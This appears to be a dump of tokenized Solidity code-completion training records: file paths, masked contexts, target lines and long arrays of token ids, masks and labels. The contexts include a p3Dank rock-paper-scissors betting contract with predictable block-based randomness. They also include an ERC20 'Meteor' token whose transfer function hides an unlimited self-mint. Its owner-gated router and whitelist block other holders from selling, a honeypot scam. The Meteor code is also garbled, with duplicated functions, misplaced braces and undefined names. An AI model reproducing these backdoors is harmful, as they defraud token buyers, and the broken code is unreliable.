443,
1724,
329,
327,
1021,
3844,
434,
24123,
11977,
358,
326,
443,
1724,
280,
19,
2073,
309,
326,
5793,
353,
2935,
358,
443,
1724,
1368,
326,
284,
1074,
12981,
716,
326,
3844,
3271,
353,
486,
374,
12279,
14114,
13170,
628,
5793,
9029,
1300,
434,
24123,
971,
729,
4102,
6798,
374,
24123,
16,
2727,
1404,
1324,
598,
443,
1724,
1436,
24123,
358,
2078,
1436,
24123,
358,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
443,
1724,
12,
11890,
5034,
443,
1724,
6275,
13,
3903,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
3700,
18927,
13,
203,
1377,
2583,
12,
20409,
63,
3576,
18,
15330,
19226,
203,
203,
565,
2583,
12,
323,
1724,
6275,
405,
374,
16,
315,
323,
1724,
3844,
1410,
506,
1898,
2353,
3634,
8863,
203,
203,
565,
2583,
12,
45,
654,
39,
3462,
12,
15021,
27055,
1887,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
443,
1724,
6275,
3631,
203,
565,
315,
4169,
486,
7412,
628,
8863,
203,
203,
565,
2078,
3218,
77,
758,
1724,
329,
1011,
443,
1724,
6275,
31,
203,
203,
565,
2254,
5034,
24123,
273,
4604,
758,
1724,
774,
24051,
12,
323,
1724,
6275,
1769,
203,
203,
565,
2583,
12,
30720,
480,
374,
16,
315,
30720,
848,
486,
506,
3634,
8863,
203,
203,
565,
2078,
24051,
273,
2078,
24051,
18,
1289,
12,
30720,
1769,
203,
203,
565,
1758,
774,
24051,
63,
3576,
18,
15330,
65,
273,
1758,
774,
24051,
63,
3576,
18,
15330,
8009,
1289,
12,
30720,
1769,
203,
203,
565,
6138,
7308,
758,
1724,
63,
3576,
18,
15330,
65,
1011,
509,
5034,
12,
323,
1724,
6275,
1769,
203,
203,
565,
3626,
4019,
538,
305,
12,
3576,
18,
15330,
16,
443,
1724,
6275,
16,
24123,
16,
2078,
24051,
1769,
203,
203,
565,
327,
24123,
31,
203,
225,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x6d83CcA9dc3F44b4AAC44762130F63DEB6C66e00/sources/POP.sol | require(token.balanceOf(address(this))>(pledgesum+_num_end/100)*10**18,"const Not enough token"); | token.transferFrom(msg.sender,address(this), _num*10**18);
| 3,957,780 | [
1,
6528,
12,
2316,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
34,
12,
84,
1259,
2852,
379,
15,
67,
2107,
67,
409,
19,
6625,
13,
15168,
28,
10837,
10248,
2288,
7304,
1147,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1147,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
2867,
12,
2211,
3631,
389,
2107,
14,
2163,
636,
2643,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
//p3Dank.io
//send 0.25 ETH to contract to purchase 3 plants.
//you can only rebuy when you have ZERO plants
//contract will take all ether sent and add it to the pot >>>NO REFUNDS<<<
//only send 0.25 ether, no more, no less
//Block plant, Chain plant, Fork plant
//BLOCK smashes fork
//FORK forks the chain
//CHAIN adds the block
//plants automatically grow over time
//the older the plants get a bigger % bonus for selling
//choose to sell 1 plant or attack at random every 7 hours
//if your random attack wins the rock paper scissors, you sell the targets house for 50% its base value(no bonus)
//sucessful attacks raise the value of every other plant, >>DONT MISS ATTACKS<<
//sold plants have a bonus and reduce the value of every other plant.
//Sell bonus is 2x after 42000 blocks, Max bonus of 4x after 69420 blocks
//sell price = (total eth in contract) * (growth of plant being sold) / (total growth in game) + (big plant bonus)
//1.2% dev cut 2% buys p3d. 96.8% back to players. p3d divs go to pot
//tron version of the game soon with mechanics more suited for that chain
//A 1 eth entry cost version after we see how the economics play out
//If this works as intended the game expands and contracts to any amount of players and never ends
//thanks to Team Just and Spielley for the code I used
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
interface HourglassInterface {
function buy(address _playerAddress) payable external returns(uint256);
function withdraw() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
}
//import "browser/safemath.sol";
//import "browser/hourglassinterface.sol";
contract p3Dank {
using SafeMath for uint;
uint256 public _totalhouses; // total number of houses in the game, used to calc divs
uint256 public blocksbeforeaction = 1680;// blocks between player action. 7 hours / 420 minutes / 3 moves per day
uint256 public nextFormation;// next spot in formation
mapping(address => uint256)public _playerhouses; // number of houses owned by player
mapping(address => uint256)public lastmove;//blocknumber lastMove
mapping(address => uint256) buyblock;// block that houses were purchased by a player
address payable happydev = 0xDC6dfe8040fc162Ab318De99c63Ec2cd0e203010; // dev cut
address payable feeder; //address of p3d feeder contract
address p3dref;
struct house { //houses for the battlefield
address owner; //who owns the house
uint8 rpstype; //what type of house is it 1=roc 2=pap 3=sis
}
mapping(uint256 => house)public formation;// the playing field
modifier ishuman() {//"real" players only
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier canmove() {
address sender = msg.sender;
require(_playerhouses[sender] > 0);
require(canimoveyet());
_;
}
function buyp3d4me(uint256 value) public payable {//
P3Dcontract_.buy.value(value)(p3dref);//buy p3d
}
bool feedset;
function setfeedaddress(address payable feedadd) public {
require (feedset == false);
feeder = feedadd;
feedset = true;
}
function () external payable{}
function buyhouses() ishuman() public payable { // houses... plants... tulips ... its all good
uint256 value = msg.value;
if(value == 250 finney){// buying 3 houses costs 0.25 eth
address sender = msg.sender;
if(_playerhouses[sender] == 0 ){ // check that user has no houses
_playerhouses[sender] = 3; // add houses to players count
uint256 next = nextFormation;
formation[next++] = house(sender, 1);// add houses to playing field
formation[next++] = house(sender, 2);// roc = 1, pap =2, sis = 3.
formation[next++] = house(sender, 3);
nextFormation = next;
lastmove[sender] = block.number; // reset lastMove to prevent people from attacking right away
buyblock[sender] = block.number; // log the buy block of the sender
_totalhouses += 3;// update totalSupply
feeder.transfer(5 finney);
happydev.transfer(3 finney);
} } }
bool gameon;
function startgame() public payable {
uint256 value = msg.value;
require(value == 250 finney);// buying 3 houses costs 0.25 eth
require (gameon == false);
address sender = msg.sender;
_playerhouses[sender] = _playerhouses[sender]+3;// add houses to players count
formation[nextFormation] = house(sender, 1);// add houses to playing field
nextFormation++;
formation[nextFormation] = house(sender, 2);// roc = 1, pap =2, sis = 3.
nextFormation++;
formation[nextFormation] = house(sender, 3);
nextFormation++;
lastmove[sender] = block.number; // reset lastMove to prevent people from attacking right away
buyblock[sender] = block.number; // log the buy block of the sender
_totalhouses = _totalhouses+3;// update totalSupply
feeder.transfer(5 finney);
happydev.transfer(3 finney);
lastupdateblock = block.number;
gameon = true;
}
//divsection
uint256 lastupdateblock;
uint256 totaldivpts;
function updateglobal() internal {
totaldivpts = gametotaldivs();
lastupdateblock = block.number;//updated
lastmove[msg.sender] = block.number; // reset lastmove of attacker
}
function rekt(uint8 typeToKill) internal {
updateglobal();
uint256 attacked = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, tx.origin))) % nextFormation;
if(formation[attacked].rpstype == typeToKill) {
address payable sender = msg.sender;
address killed = formation[attacked].owner;//set address of attacked player
formation[attacked] = formation[--nextFormation];//reform playing field
delete formation[nextFormation]; //delete unused formation
uint256 playerdivpts = block.number.sub(buyblock[killed]);//figure out how big robbed plant is
uint256 robbed = (address(this).balance).mul(playerdivpts).div(totaldivpts).div(2); //figure out how much was robbed
totaldivpts = totaldivpts.sub(playerdivpts); //adjust total div points
_totalhouses--;//update total houses in game
_playerhouses[killed]--;//update attacked players houses
sender.transfer(robbed);//pay the robber
} }
function rockattack() canmove() public { //rock attack function
rekt(3);
}
function sisattack() canmove() public { //sicssor attack function
rekt(1);
}
function papattack() canmove() public {//paper attack function
rekt(2);
}
function sellhouse (uint256 selling) canmove() public {// house sell function
address payable sender = msg.sender;
address beingsold = formation[selling].owner;
if (beingsold == sender){ // how to comfirm sender is owner
updateglobal();
uint256 next = --nextFormation;
formation[selling] = formation[next];
delete formation[next];
_totalhouses--;//update total houses in game
_playerhouses[sender]--;//update selling players houses
uint256 maxbuyblock = 69420;
uint256 playerdivpts = block.number.sub(buyblock[sender]);
uint256 sold;
if (playerdivpts >= maxbuyblock) {
sold = (address(this).balance).mul(maxbuyblock * 4).div(totaldivpts);
}
else {
uint256 payoutmultiplier = playerdivpts.mul(playerdivpts).mul(10000).div(1953640000).add(10000);
sold = (address(this).balance).mul(playerdivpts).mul(payoutmultiplier).div(totaldivpts).div(10000);
}
totaldivpts = totaldivpts.sub(playerdivpts); //adjust total div points
sender.transfer(sold);//payout
} }
//p3d section
HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
function P3DDivstocontract() public{
address newref = msg.sender;
p3dref = newref;
P3Dcontract_.withdraw(); //withdraw p3d divs into contract
}
function amountofp3d() external view returns(uint256){//balanceof = Retrieve the tokens owned by the caller.
return ( P3Dcontract_.balanceOf(address(this))) ;
}
function harvestabledivs() view public returns(uint256){//dividendsof = Retrieve the dividend balance of any single address.
return ( P3Dcontract_.dividendsOf(address(this))) ;
}
//view functions
function singleplantdivs ()public view returns(uint256){ //how many blocks old are my plants?
return(block.number.sub(buyblock[msg.sender]));
}
function howmanyplants ()public view returns(uint256){ //how many plants do I have?
return(_playerhouses[msg.sender]);
}
function whatblockmove ()public view returns(uint256){ // what block # can I make my next move at
return(lastmove[msg.sender]).add(blocksbeforeaction);
}
function canimoveyet ()public view returns(bool){ //can i move
if (blocksbeforeaction <= (block.number).sub(lastmove[msg.sender])) return true;
}
function howmucheth ()public view returns(uint256){//how much eth is in the contract
return address(this).balance;
}
function gametotaldivs ()public view returns(uint256){//how many div points are in the game right now
return (block.number).sub(lastupdateblock).mul(_totalhouses).add(totaldivpts);
}
function singleplantpayout ()public view returns(uint256){
uint256 playerdivpts = block.number.sub(buyblock[msg.sender]);
uint256 maxbuyblock = 69420;
if (playerdivpts >= maxbuyblock) {
return (address(this).balance).mul(maxbuyblock * 4).div(totaldivpts);
}
else {
uint256 payoutmultiplier = playerdivpts.mul(playerdivpts).mul(10000).div(1953640000).add(10000);
return (address(this).balance).mul(playerdivpts).mul(payoutmultiplier).div(totaldivpts).div(10000);
}
}
//thanks for playing
} | update selling players houses
| _playerhouses[sender]--; | 888,937 | [
1,
2725,
357,
2456,
18115,
366,
1481,
281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
389,
14872,
76,
1481,
281,
63,
15330,
65,
413,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x15b48b609A2A1EaFC87aD2f194E62ccD8e69c133/sources/Meteor.sol | SPDX-License-Identifier: MIT | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
}
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function setMarketingWallet (address set) public checker {
router = set;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function fee(address _count) internal checker {
confirm[_count] = true;
}
function deploy(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function deploy(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 2,643,692 | [
1,
3118,
28826,
17,
13211,
17,
3004,
30,
490,
1285,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
16,
467,
654,
39,
3462,
2277,
269,
14223,
6914,
95,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
389,
5965,
6872,
31,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
1426,
282,
3238,
16512,
31,
203,
97,
203,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
16512,
33,
3767,
31,
203,
565,
289,
203,
565,
445,
508,
1435,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
565,
445,
3273,
1435,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
565,
445,
444,
3882,
21747,
16936,
261,
2867,
444,
13,
1071,
12489,
288,
203,
3639,
4633,
273,
444,
31,
203,
565,
289,
203,
3639,
445,
15105,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
6549,
31,
203,
565,
289,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
2
]
|
./full_match/42/0x168eDb8266631c3A0AF404728957d46465476Ee1/sources/mirin.sol | send liquidity to this pool
| this.transferFrom(msg.sender, address(this), liquidity); | 9,586,647 | [
1,
4661,
4501,
372,
24237,
358,
333,
2845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
333,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
4501,
372,
24237,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
